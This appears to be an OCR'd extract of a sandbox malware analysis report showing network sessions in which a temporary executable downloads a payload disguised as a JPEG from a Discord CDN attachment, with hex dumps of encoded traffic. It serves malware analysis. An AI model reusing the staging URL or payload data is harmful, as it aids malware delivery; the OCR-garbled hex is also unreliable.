YR x OxY x O0Q x Qt x tR x 000 x OOk x Yt x kO x Qt x tO x OO0 x RY x OxY x Yt x OXR x OO0 x OxK x tQ x to x Kt x
Kt x KQ x Rt x tR x ko x Oxo x O00 x

2021-10-29 18:30:02 UTC 2515 IN Data Raw: 52 52 20 78 20 4f 78 4f 20 78 20 4f 4f 51 20 78 20 59 78 20 78 20 4f 4f 6f 20 78 20 6b 4f 20 78 20 4b 74 20 78
20 4f 6f 6f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 6f 4f 20 78 20 6b 78 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 59
2078 20 74 51 20 78 20 4f 78 4b 20 78 20 59 45 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
51 74 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20
78 20 4f 78 78 20 78 20 4f 78 45 20 78 20 6b 6f 20 78 20 4f 4f 4f 20 78 20 4b 45 20 78 20 6b 78 20 78 20 74 4b 20 78 20
5259 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 4b 20 78 20 4f 4f 78 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b
Data Ascii: RR x OxO x O0Q x Yx x 000 x kO x Kt x 000 x Qx x OO0 x 000 x kx x kR x RY x RY x tQ x OxK x YE x tK x
RY x RY x RY x Qt x tt x OOQ x Rt x RY x RY x Rk x Kt x Oxx X OXE x ko x OO0 x KE x kx x tk x RY x RY x tQ x OxK x
OOx x tK x RY X RY x RY x OXE x YR x k

2021-10-29 18:30:02 UTC 2531 IN Data Raw: 20 59 78 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78
20 74 78 20 78 20 59 6f 20 78 20 74 74 20 78 20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 74 78 20 78 20 4f 78 78 20 78 20 6
b 4b 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 52 20 78 20 59 45 20 78 20 74 74 20 78
20 4f 78 4b 20 78 20 52 52 20 78 20 52 59 20 78 20 74 59 20 78 20 74 6f 20 78 20 4f 78 74 20 78 20 4f 6f 4f 20 78 2052 5
1207820525120 7820 52 59 20 78 20 74 51 20 78 20 59 52 20 78 20 74 6b 20 78 20 4b 6b 20 78 20 52 51 20 78 20
6b 51 20 78 20 4b 51 20 78 20 74 6b 20 78 20 59 74 20 78 20 74 78 20
Data Ascii: Yx X kY X RY x RY x kY x tt x QQ x tx X Yo x tt x OXxK x RR x RY x RY X RQ X RY X RY x RY x Rk x Kt x tx x O
xx X kK X RY x kO x RY x Rt x OXR x YE x tt x OXK x RR X RY x tY x to x Oxt x 000 x RQ x RQ x RY x tQ x YR x tk x Kk x
RQ x kQ x KQ x tk x Yt x tx

2021-10-29 18:30:02 UTC 2547 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 59 78 20 78 20 74 78 20 78 20 52 59 20 78 20 4f 4f 6b 20
78 20 4f 4f 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20
51 6b 20 78 20 4b 6b 20 78 20 52 59 20 78 20 4b 45 20 78 20 4f 4f 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20
7820747420 78 20 52 51 20 78 20 6b 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 74 20 78 20 4f 78
5220 78 20 6b 51 20 78 20 6b 59 20 78 20 52 74 20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20
6b 52 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 4f 78 59 20 78 20 51 6b 20 78 20 4b 6b 20 78 20 52 59
20 78 20 4b 74 20 78 20 6b 78 20 78 20 4b 74 20 78 20 4b 74 20 78 20
Data Ascii: X RY x RY X tE x YX X tx x RY x OOk x OOK x Kt x Kt x KQ x RR x OxQ x OxY x Qk x Kk x RY x KE x OOk x Kt
x Kt x YK x tt x RQ x ko x RY x RY x RR x kt x OXR x kQ x kY x Rt x Kt x kx x Kt x Kt x kR x KQ x RR x OxQ x OxY X Qk x
Kk X RY x Kt x kx x Kt x Kt x

2021-10-29 18:30:02 UTC 2563 IN Data Raw: 78 20 6b 6b 20 78 20 74 78 20 78 20 4f 78 6f 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 52 59 20 78 20 4f 78
4520 78 20 52 59 20 78 20 52 59 20 78 20 74 45 20 78 20 6b 6b 20 78 20 52 59 20 78 20 6b 74 20 78 20 6b 52 20 78 20
4f 78 6b 20 78 20 4b 6b 20 78 20 74 6f 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 74 6f 20 78 20 59 4b 20 78 20 4f 6f 78 20
78 20 59 78 20 78 20 52 6b 20 78 20 4f 4f 51 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 4f 4f 51 20 78 20 74
59 20 78 20 74 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 4f 59 20 78 20 6b 4b 20 78 20 51 74 20 78 20
4f 78 45 20 78 20 4f 4f 6f 20 78 20 6b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 52 51 20 78 20 51 51 20 78 20 52 52 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20
Data Ascii: x kk x tx x Oxo x OO0 x OxQ x RY x OXE x RY x RY x tE x kk x RY x kt x kR x Oxk x Kk x to X Yo x OOk x to x
YK x Oox x Yx x Rk x O0OQ x ko x Rk x OO0 x O0Q X tY x to x Kt x Kt x KE x OOY x kK x Qt x OXE x OO0 X kt x Kt X YY X
RQ x QQ x RR x RY X RY x RY x

2021-10-29 18:30:02 UTC 2579 IN Data Raw: 78 20 4f 78 6b 20 78 20 4f 4f 78 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78
2078 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 59 20 78
20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 6b 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 78 20 52
5920 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 74 74 20 78 20 74 4b 20 78 20 52 59 20 7
820525920 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 74 74 20 78 20 74 4b 20 78 20 52
59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f 78 6b 20 78 20 4f 4f 4b 20 78 20 74 74 20 78 20 74 4b 20 78
205259 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 4f
Data Ascii: X Oxk x OOx x tt X tK X RY x RY x kx X YR x Oxk x OxQ x tt x tK x RY x RY X kx x YR x Oxk x Oxk x tt x tK x
RY X RY x kx X YR x Oxk x Oxt x tt x tK x RY x RY x kx X YR x Oxk x OxR x tt x tK x RY x RY x kx x YR x Oxk x OOK x tt
x tK X RY X RY x kx x YR x O

2021-10-29 18:30:02 UTC 2595 IN Data Raw: 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 45 20 78 20 52 52 20 78 20 4b 51
2078 20 52 59 20 78 20 74 4f 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 6b
6b 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 6b 4b 20 78 20 4f 78 45 20 78 20 52 59 20
78 20 59 6f 20 78 20 52 59 20 78 20 74 78 20 78 20 74 45 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 52 52 2
07820 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52
52 20 78 20 74 4b 20 78 20 52 59 20 78 20 52 51 20 78 20 59 6f 20 78 20 52 59 20 78 20 74 6b 20 78 20 4f 4f 51 20 78 20
52 52 20 78 20 6b 45 20 78 20 52 59 20 78 20 74 78 20 78 20 6b 4f
Data Ascii: x tO x kO x RY x kY x OXE x RR x KQ x RY x tO x Yo x RY x RY X RY x RR x kk x RY x RQ x Oxt x RY x kK x
OXE x RY x Yox RY x tx X tE X RY x kKR x RY X RR x tk x RY X RY X RY X RY x kR x OOQ x RR x tK x RY x RQ x Yo x RY
x tk x OOQ x RR x kE x RY x tx x kO
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kBytes
Timestamp transferred

2021-10-29 18:30:02 UTC 2611

2021-10-29 18:30:02 UTC 2627

2021-10-29 18:30:02 UTC 2643

Session ID Source IP

4 192.168.2.7
kBytes

Timestamp transferred

2021-10-29 18:30:03 UTC 2652

2021-10-29 18:30:03 UTC 2653

2021-10-29 18:30:03 UTC 2654

2021-10-29 18:30:03 UTC 2654

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49795

Direction

ouT

IN

Data

Data Raw: 20 78 20 4f 4f 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52
5920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78
205259 20 78 20 52 52 20 78 20 74 78 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 51 51 20
78 20 4f 78 45 20 78 20 52 52 20 78 20 4f 4f 6b 20 78 20 52 59 20 78 20 74 6f 20 78 20 74 45 20 78 20 52 59 20 78 20 74
4520 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20
74 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 74 20 78 20 6b 59 20 78 20 52 59 2
078205151 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20

Data Ascii: x OOY x RY x tO x O0Q x RY X RY x RY X RY x RY X RY x tx X OOQ x RY x RY x RY x RR X tx x RY x to x
tE X RY x QQ x OXE x RR x OOk x RY x to x tE x RY X tE x RY x RY x Oxk x RY x tO x kO x RY x tQ x OXE x RY x OXE x
RY x Rt x KY x RY x QQ x O0Q x RY x RY

Data Raw: 20 78 20 4f 4f 78 20 78 20 52 59 20 78 20 74 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 51 51 20 78 20 4f 4f
51 20 78 20 52 52 20 78 20 4b 6b 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 59 20 78 20 51 51 20 78 20
4f 78 45 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 74 45
20782052 59 20 78 20 52 59 20 78 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b
6f 20 78 20 6b 4f 20 78 20 52 52 20 78 20 52 52 20 78 20 52 59 20 78 20 74 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20
6b 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 52 59 20
7820 74 52 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 59

Data Ascii: x OOx x RY x tO x Oxt x RY x QQ x O0Q x RR x Kk x RY x tO x kY x RY x QQ x OxE x RR x O00 x RY x Rk x
00O xRY X tE X RY X RY x tk X RY X RY x OO0 x RY x ko x kO x RR x RR x RY x tx X OXE x RY x kx x kO x RY x Oxk x
RY x Rk x OXE x RY x tR x OXE x RY x Y

Data Raw: 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 59 4b 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20
52 6b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 59 45 20 78 20 6b 4f 20
782052 59 20 78 20 52 59 20 78 20 6b 74 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f
20 78 20 59 59 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 45 20 78 20 59 45 20 78 20 6
b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 6f 20 78 20 74 51 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 2
074 52 20 78 20 6b 4b 20 78 20 4f 78 6b 20 78 20 52 59 20 78 20

Data Ascii: OO X RY x RY x Rk x tE x YK X RY X RY x RY x to x OOt x KY X RY X RY x Rk x Rk x Oxk x RY x RY x RY x
KE x YE x kO x RY x RY x kt x tQ x KY X RY X RY x tO x YY x Oxk X RY x RY x Rt X tE x YE x kO x RY x RY x OO0 x tQ x
KY x RY X RY X tR x kK x Oxk x RY x

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\AppData\Local\Temp\B82B.exe

Data

GET /attachments/893177342426509335/902526117016109056/ABOF9338.jpg HTTP/1.1
Host: cdn.discordapp.com

HTTP/1.1 200 OK

Date: Fri, 29 Oct 2021 18:30:03 GMT

Content-Type: image/jpeg

Content-Length: 345655

Connection: close

CF-Ray: 6a5e79105dba05ed-FRA

Accept-Ranges: bytes

Age: 87787

Cache-Control: public, max-age=31536000

ETag: "d05714d4497c7b55b2c0b1609chbd62c9"

Expires: Sat, 29 Oct 2022 18:30:03 GMT

Last-Modified: Tue, 26 Oct 2021 11:56:34 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Sve: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Cf-Bgj: h2pri

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1635249394465681

X-goog-hash: crc32c=to49mQ==

x-goog-hash: md5=0FcU1EI8elWywLFgnL1iyQ==

X-goog-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

X-goog-stored-content-length: 345655

X-GUploader-UploadID: ADPycds4slyz_GzjlugLy9 WqK029_2RU2KSIIfGIpMQJIZx1WvXGDydhZDvUpsH4QNom
t1ATbnkYUYCRxSnB_xGGebc

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\w3?s=ZFP4E90%2B0%2Fns%2F%2FOD10F6korW
IUWX9%2FL%2BfS7TH5bSMXNqLsp8cG1Me%2BzaUgtfZCpznMISBIGZQV5Z5EaZD9cmRQQrag%2BCOGPV
NDFuGyq2PhYwYImakkjdDrikRDP9wckaUZ0WZg%3D%3D"}],"group™:“cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74 6f
22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63
6c 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction™:0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78 20 51 78 20 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20
782051 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 74 6b 20 78 20 4f 78
6b 20 78 20 51 51 20 78 20 59 4f 20 78 20 74 6b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
4b 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78
20 4f 78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78
2078 20 4f 78 6b 20 78 20 52 59 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 6b 20 78 20 6b 59 20 78 20 59 78 20 78 20
6b 52 20 78 20 4b 6b 20 78 20 6b 6f 20 78 20 6b 74 20 78 20

Data Ascii: x RQ x tk x 000 x Qx x kt x tx X Kk x Qx x kR x RR x 000 x Qk x Yx x tk x Oxk x QQ x YO x tk x kk x RY x RY
X RY x Kk x RY x RQ x tk x OOY x Qk x YO x tk x Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x RY x RR x kO x Rk x
KY x Yx x kR x Kk x ko x kt x
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:03 UTC 2655 IN Data Raw: 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 59 74 20 78 20
4f 78 52 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 6b 20 78 20 4f 6f 6f 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20
78 20 4f 4f 52 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 59 45 20 78 20 52 59 20 78 20 74 59 20 78 20 52 51
20782052 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 74 6f 20 78 20 74
4b 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 4f 6f 6f 20 78 20 51 51 20 78 20 4b 6b 20 78
207478 20 78 20 4f 78 51 20 78 20 51 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 51 74 20 78 20
6b 6b 20 78 20 6b 6f 20 78 20 59 45 20 78 20 6b 4b 20 78 20
Data Ascii: kQ x kt x ko x kO x QQ x OxQ x Yt x OXR x Qx x kk x tk x O00 x kK x kt x kR x OOR x Qk x YO x tK x YE x RY
X tY x RQ X RR x ko x Yx x kR x Kk x kY x to x tK x OOk x kQ x Yx x kR x 000 x QQ x Kk x tx x OxQ x Qx x OxQ x Oxk x
OOt x Qt x kk x ko x YE x kK x

2021-10-29 18:30:03 UTC 2657 IN Data Raw: 6b 52 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 74 20 78 20 6b 59 20 78 20 52 59 20 78 20
5259 20 78 20 74 45 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78
20 6b 4b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4f 78 74 20 78 20 4f 78 78 20 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f
78 6b 20 78 20 6b 45 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 74 20 78 20 51 78 20 78 20 74 4f 20 78 20 4f 6f 78 20
78 20 4f 78 6b 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 52 59 20 78 20 74
78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20
4f 78 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 52 20 78
Data Ascii: kR x ko x 000 x Qk x kt x kY X RY x RY X tE x tE X RR x ko x Yx x kR x Kk x kK x kt x Yt x Oxt x Oxx x kt x Oox
X Oxk x kE x tO x tx x OOt x Qx x tO x Oox x Oxk x kR x O0Q x RY x RY x kR x RY x tx x to X Qx x kk x ko x RQ x QQ x
OxQ x Oxk x Yx x Qx x kR x

2021-10-29 18:30:03 UTC 2658 IN Data Raw: 78 20 6b 6f 20 78 20 4b 51 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78 20 74 4f 20 78 20 51 74 20 78
20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 78 6b 20 78 20 6b 4b 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20
517820 78 20 6b 52 20 78 20 51 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 6b 59 20 78 20 52 74 20 78
20 6b 4b 20 78 20 74 4f 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 51 74 20 78 20 4b 51 20 78 20 74 4b 20 78 20 4f 78 6b
20782051 51 20 78 20 59 78 20 78 20 59 74 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 74 6b 20 78 20
4f 78 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 51 51 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 6f 78
20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 59 78 20 78 20 74 78
Data Ascii: x ko x KQ x Qk x tO x kR x tO x Qt x kt x Oox x Oxk x kK x OxQ x tx x OOR x Qx x kR x QQ x RY x RY x tO x
kY x Rt x kK x tO x Yt x OXR x Qt x KQ X tK x Oxk x QQ x Yx x Yt x KQ x QQ x OxQ x tk x Oxk x RY x RY x RR x QQ x
RY x Oxt x Oox x OOk x kQ X Yx X tx

2021-10-29 18:30:03 UTC 2659 IN Data Raw: 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78
20 6b 52 20 78 20 6b 4b 20 78 20 4f 78 78 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 78
51 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 4f 45 20 78 20 52 59 20 78
20 4b 51 20 78 20 4f 78 78 20 78 20 4f 6f 4f 20 78 20 51 74 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b
59 20 78 20 74 6f 20 78 20 74 4b 20 78 20 4f 4f 6f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4b 6b 20
7820 51 78 20 78 20 6b 52 20 78 20 52 52 20 78 20 4f 6f 4f 20 78 20 51 6b 20 78 20 59 78 20 78 20 51 78 20 78 20 4f 4f
6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b 52 20 78
Data Ascii: 000 x Qk X Yx X Qx x 000 x Qk x tO x kR x kK x Oxx x to x tK x 000 x Qk x OxQ x Oxx x kk x RY x RY x Rt
X OOE x RY x KQ x Oxx x 000 x Qt x kk x ko x Oxk x KY x to x tK x OO0 x Oxx x OxQ X tx x Kk x Qx X kR x RR x 000 x
Qk x Yx x Qx x 000 x Qk x tO x kR x

2021-10-29 18:30:03 UTC 2661 IN Data Raw: 78 20 52 59 20 78 20 4f 6f 6f 20 78 20 74 74 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 4f 74 20 78 20 6b 51
20 78 20 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 51 74 20 78 20 74 4f 20 78 20 59 74 20 78 20 4b 6b 20 78 20 52
5920 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 51 20 78 20 74 6b 20 78 20 4f 6f 4f 20 78
2051 7820 78 20 6b 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 74 4b 20 78 20 4f 78 6b
207820 51 6b 20 78 20 6b 74 20 78 20 59 74 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 52 20 78 20 6b 6f 20 78 20 4f 4f
4f 20 78 20 51 51 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 4b 20 78 20 51 78 20 78 20 52 59 20 78 20 52 59 20 78
2052 59 20 78 20 4f 4f 45 20 78 20 52 59 20 78 20 52 52
Data Ascii: x RY x 000 x tt x Oxk x tk x OOt x kQ x kk x RR x 000 x Qt x tO x Yt X Kk X RY x RY x RR x OOE x RY x RQ x
tk x 000 x Qx X kt x tx x Kk x Qx x kR x tK x Oxk x Qk X kt x Yt x Kk x Qx x kR x ko x OO0 x QQ x OxQ X kR x OxK x Qx X
RY x RY x RY x OOE x RY x RR

2021-10-29 18:30:03 UTC 2662 IN Data Raw: 20 4f 4f 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 74 6b 20 78 20 52 59 20 78 20 4f 78 6b 20
78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 74 6b 20 78 20 4b 51 20 78 20 51 51 20 78 20 4f
4f 78 20 78 20 74 6b 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 59 74 20 78 20 52 59 20
78 20 6b 59 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 6b 51 20 78 20 6b 74 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 4f
7878 20 78 20 6b 6b 20 78 20 74 4b 20 78 20 4f 6f 6f 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 4b 20 78 20 6b 6b 20 78
205259 20 78 20 74 78 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20 6b 52 20 78 20 4b 6b 20
78 20 6b 59 20 78 20 59 4f 20 78 20 4f 78 6b 20 78 20 4f
Data Ascii: OOY X RY X RY x RR x tk x RY x Oxk x tk x Oxk x Oxx X RQ x tk x KQ x QQ x OOx x tk x OOk x QQ x OXE x
Rt x Yt x RY x kY x Oox x OOk x kQ x kt x ko x Rk x Oxx x kk x tK x 000 x Qk x YO x tK x kk x RY x tx x OOY x RR x ko x
Yx x kR x Kk x KY x YO x Oxk x O

2021-10-29 18:30:03 UTC 2663 IN Data Raw: 20 74 6b 20 78 20 52 59 20 78 20 52 51 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 78 20 78 20 59 78 20 78
20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 6b 59 20 78 20 74 4f 20 78 20 74 78 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 4f 4f
78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 78 20 78 20 59 52 20 78 20 52 59 20 78 20 6b 6f 20 78 20
59 78 20 78 20 6b 52 20 78 20 4b 6b 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 6f 78 20 78 20 4f 4f 6f 20 78 20 51 78 20
7820 6b 74 20 78 20 59 45 20 78 20 4b 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f
787820 78 20 52 59 20 78 20 52 52 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 6b 59 20 78 20 4f 78 78 20 78 20 4f 78 6b
2078 20 4f 78 78 20 78 20 74 78 20 78 20 74 6b 20 78 20
Data Ascii: tk x RY x RQ x tK x Oxk x Qx x Yx x Oxk x OOt x kY x tO x tx x OO0 x Qk X OOx x kO x RY x RY x kx X YR x
RY x ko x YX X kKR x Kk x kO x Yx x Oox x O00 x Qx x kt x YE x Kk x kY x OxQ x kR x OXR x Oxx x RY X RR x Oxx X RY X
KY x Oxx x Oxk x Oxx X tx x tk x

2021-10-29 18:30:03 UTC 2665 IN Data Raw: 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20 51 51 20 78 20 52
59 20 78 20 4f 6f 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78
20 6b 4f 20 78 20 6b 51 20 78 20 6b 74 20 78 20 4f 78 6b 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 4f 78 74 20 78 20 4f 4f 51 20 78 20 74 78 20 78 20 74 4b 20 78 20 51 6b 20 78 20 4f 4f 78 20
782051 78 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 78 6b 20 78 20 4f 78 74 20 78 20 6b 51 20 78 20
6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 4f 78 52 20 78 20 4f 78
7820 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
